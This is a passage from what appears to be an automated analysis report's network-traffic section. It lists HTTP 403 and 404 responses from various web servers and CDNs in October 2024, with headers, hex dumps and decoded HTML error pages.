66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Date: Fri, 25 Oct 2024 09:18:19 GMTHost: 127.0.0.1:8086Server: nginx/1.21.6X-Powered-By: PbootCMSX-Ua-Compatible: IE=edge,chrome=1Transfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:19 GMTServer: Apache/2Content-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:20 GMTServer: Apache/2Content-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:18:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-alivex-sorting-hat-podid: 376x-sorting-hat-shopid: 61843439788x-storefront-renderer-rendered: 1vary: Accept-Encoding,Acceptset-cookie: keep_alive=c4382737-c5fc-4ac1-970a-c105855a494b; path=/; expires=Fri, 25 Oct 2024 09:48:22 GMT; HttpOnly; SameSite=Laxset-cookie: cart_currency=GBP; path=/; expires=Fri, 08 Nov 2024 09:18:22 GMT; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=snugpak.com; path=/; expires=Sat, 26 Oct 2024 09:18:22 GMT; SameSite=Laxset-cookie: _shopify_y=a33c6b7a-413d-41cc-a563-ce4e4082ffc1; Expires=Sat, 25-Oct-25 09:18:22 GMT; Domain=snugpak.com; Path=/; SameSite=Laxset-cookie: _shopify_s=33ea1964-f4d2-44ed-aeb4-3e6ce091ebb1; Expires=Fri, 25-Oct-24 09:48:22 GMT; Domain=snugpak.com; Path=/; SameSite=Laxcache-control: no-cache, no-storex-shopify-nginx-no-cookies: 0link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossorigin, <https://cdn.sData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:23 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:18:38 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BiJno9%2BpkbjjcQ9ZhTSvMF6arMjOd21lX2jwYq3G%2Fw036JcBlJOL9P7K8fc0L38H4bZOzU8dgExmT6VJTv0rAqU8g0o9x3bZ4BsRfxuHPR7H4JQ8eaz0WyBDYx1unEye"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811e7739df2e77-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1155&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=760&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 31 61 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 Data Ascii: 11a1<!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><meta
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveServer: ZENEDGEX-Zen-Fury: 46ab973aea3244feb6c116fe4a1cb1ebb0ab3bbcX-Cache-Status: Cache-Control: no-storeCache-Control: no-cache, no-store, must-revalidateCache-Control: max-age=0Date: Fri, 25 Oct 2024 09:18:23 GMTData Raw: 32 61 39 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 20 69 66 20 28 74 79 70 65 6f 66 28 5f 5f 5f 7a 65 6e 29 20 3d 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 20 7b 73 65 74 54 69 6d 65 6f 75 74 28 61 72 67 75 6d 65 6e 74 73 2e 63 61 6c 6c 65 65 2c 20 35 30 29 3b 20 72 65 74 75 72 6e 3b 20 7d 5f 5f 5f 7a 65 6e 2e 68 69 63 28 22 5f 5f 5a 45 48 49 43 36 32 34 22 2c 20 31 37 32 39 38 34 37 38 36 32 2c 20 31 2c 20 30 2c 20 36 30 29 3b 20 7d 29 28 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 20 73 72 63 3d 22 2f 5f 5f 7a 65 6e 65 64 67 65 2f 61 73 73 65 74 73 2f 68 69 63 2e 6a 73 3f 76 3d 31 36 37 34 32 30 37 34 32 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 64 69 76 3e 3c 68 31 3e 34 30 33 3c 2f 68 31 3e 3c 2f 64 69 76 3e 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 20 73 72 63 3d 22 2f 5f 5f 7a 65 6e 65 64 67 65 2f 61 73 73 65 74 73 2f 66 2e 6a 73 3f 76 3d 31 36 37 34 32 30 37 34 32 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 76 61 72 20 76 20 3d 20 31 37 32 39 38 34 37 38 36 32 20 2a 20 33 2e 31 34 31 35 39 32 36 35 33 35 38 39 38 3b 20 76 20 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 76 29 3b 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 5f 5f 7a 6a 63 32 30 30 33 3d 22 2b 76 2b 22 3b 20 65 78 70 69 72 65 73 3d 46 72 69 2c 20 32 35 20 4f 63 74 20 32 30 32 34 20 30 39 3a 32 30 3a 32 33 20 55 54 43 3b 20 70 61 74 68 3d 2f 22 3b 20 7d 29 28 29 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 2a9<html><head><title>403 Forbidden</title><script type="text/javascript">(function(){ if (typeof(___zen) === "undefined") {setTimeout(arguments.callee, 50); return; }___zen.hic("__ZEHIC624", 1729847862, 1, 0, 60); })()</script><script type="text/javascript" async="async" src="/__zenedge/assets/hic.js?v=1674207422"></script></head><body><center><div><h1>403</h1></div><h1>Forbidden</h1></center><script type="text/javascript" async="async" src="/__zenedge/assets/f.js?v=1674207422"></script><script>(function () { var v = 1729847862 * 3.1415926535898; v = Math.floor(v); docume
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:18:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-alivex-sorting-hat-podid: 216x-sorting-hat-shopid: 66042101977x-storefront-renderer-rendered: 1vary: Accept-Encoding,Acceptset-cookie: keep_alive=e2d9e3bd-6053-43ac-9413-df713c33e377; path=/; expires=Fri, 25 Oct 2024 09:48:25 GMT; HttpOnly; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=domon.com; path=/; expires=Sat, 26 Oct 2024 09:18:25 GMT; SameSite=Laxset-cookie: _shopify_y=6f5643c3-b65e-4741-b5cc-83a5ceb701a0; Expires=Sat, 25-Oct-25 09:18:25 GMT; Domain=domon.com; Path=/; SameSite=Laxset-cookie: _shopify_s=a5c01669-075e-4d20-b862-39dfef694744; Expires=Fri, 25-Oct-24 09:48:25 GMT; Domain=domon.com; Path=/; SameSite=Laxcache-control: no-cache, no-storex-shopify-nginx-no-cookies: 0link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginx-frame-options: DENYcontent-security-policy: frame-ancestors 'none';x-shopid: 66042101977x-shardid: 216Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:25 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:18:40 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=29DSosTr0E24haEsuIqSPbL0pd%2BGJttL8tM1iewgDxkQmZQPsXZMOQRTXlXIkhai9pwgKDeNqkWC9q4%2BgnDbTRRRk5yOmV42sB7SXUEJ4Gaduwb6Zrd%2F2kD7KVCicsg%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811e83f9122ca4-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1317&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=783&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 35 34 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c Data Ascii: 154a<!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 25 Oct 2024 09:18:26 GMTContent-Type: text/htmlContent-Length: 552Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:27 GMTServer: Apache/2.4.57 (Unix) OpenSSL/1.1.1kContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:27 GMTServer: Apache/2.4.57 (Unix) OpenSSL/1.1.1kContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 25 Oct 2024 09:18:34 GMTContent-Type: text/htmlContent-Length: 2843Connection: keep-aliveVary: Accept-EncodingLast-Modified: Thu, 26 Jul 2018 17:13:08 GMTETag: "b1b-571ea1be9f445"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 45 55 43 2d 4a 50 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 58 53 45 52 56 45 52 20 49 6e 63 2e 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 4e 44 45 58 2c 46 4f 4c 4c 4f 57 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2a 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 7d 0a 69 6d 67 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 75 6c 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 65 6d 3b 0a 7d 0a 68 74 6d 6c 20 7b 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 2d 79 3a 20 73 63 72 6f 6c 6c 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 62 37 39 62 37 3b 0a 7d 0a 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 a5 e1 a5 a4 a5 ea a5 aa 22 2c 20 4d 65 69 72 79 6f 2c 20 22 a3 cd a3 d3 20 a3 d0 a5 b4 a5 b7 a5 c3 a5 af 22 2c 20 22 4d 53 20 50 47 6f 74 68 69 63 22 2c 20 22 a5 d2 a5 e9 a5 ae a5 ce b3 d1 a5 b4 20 50 72 6f 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 37 35 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0a 7d 0a 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 7d 0a 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 68 32 20 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 25 Oct 2024 09:18:35 GMTContent-Type: text/htmlContent-Length: 2843Connection: keep-aliveVary: Accept-EncodingLast-Modified: Thu, 26 Jul 2018 17:13:08 GMTETag: "b1b-571ea1be9f445"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 45 55 43 2d 4a 50 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 58 53 45 52 56 45 52 20 49 6e 63 2e 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 4e 44 45 58 2c 46 4f 4c 4c 4f 57 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 